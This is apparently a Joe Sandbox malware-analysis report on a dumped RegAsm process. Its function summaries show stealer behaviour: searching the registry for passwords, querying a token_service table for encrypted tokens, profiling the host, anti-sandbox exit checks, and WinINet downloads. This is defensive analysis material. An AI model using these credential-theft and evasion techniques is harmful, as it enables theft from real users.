Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

C, xrefs: 0041754C
\, xrefs: 00417560
:, xrefs: 0041755C

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,01471D90,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,014642A0), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,01471308), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01471CD0,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01471CD0,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BABA
AccountTokens, xrefs: 0040BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F180), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F1F8), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F210), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F228), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F318), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,01462F00), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014626C0), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,01462620), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F258), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F288), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F300), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F498), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014626A0), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0145F4C8), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(0146AB18,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0146AAC8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,0146AAC8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
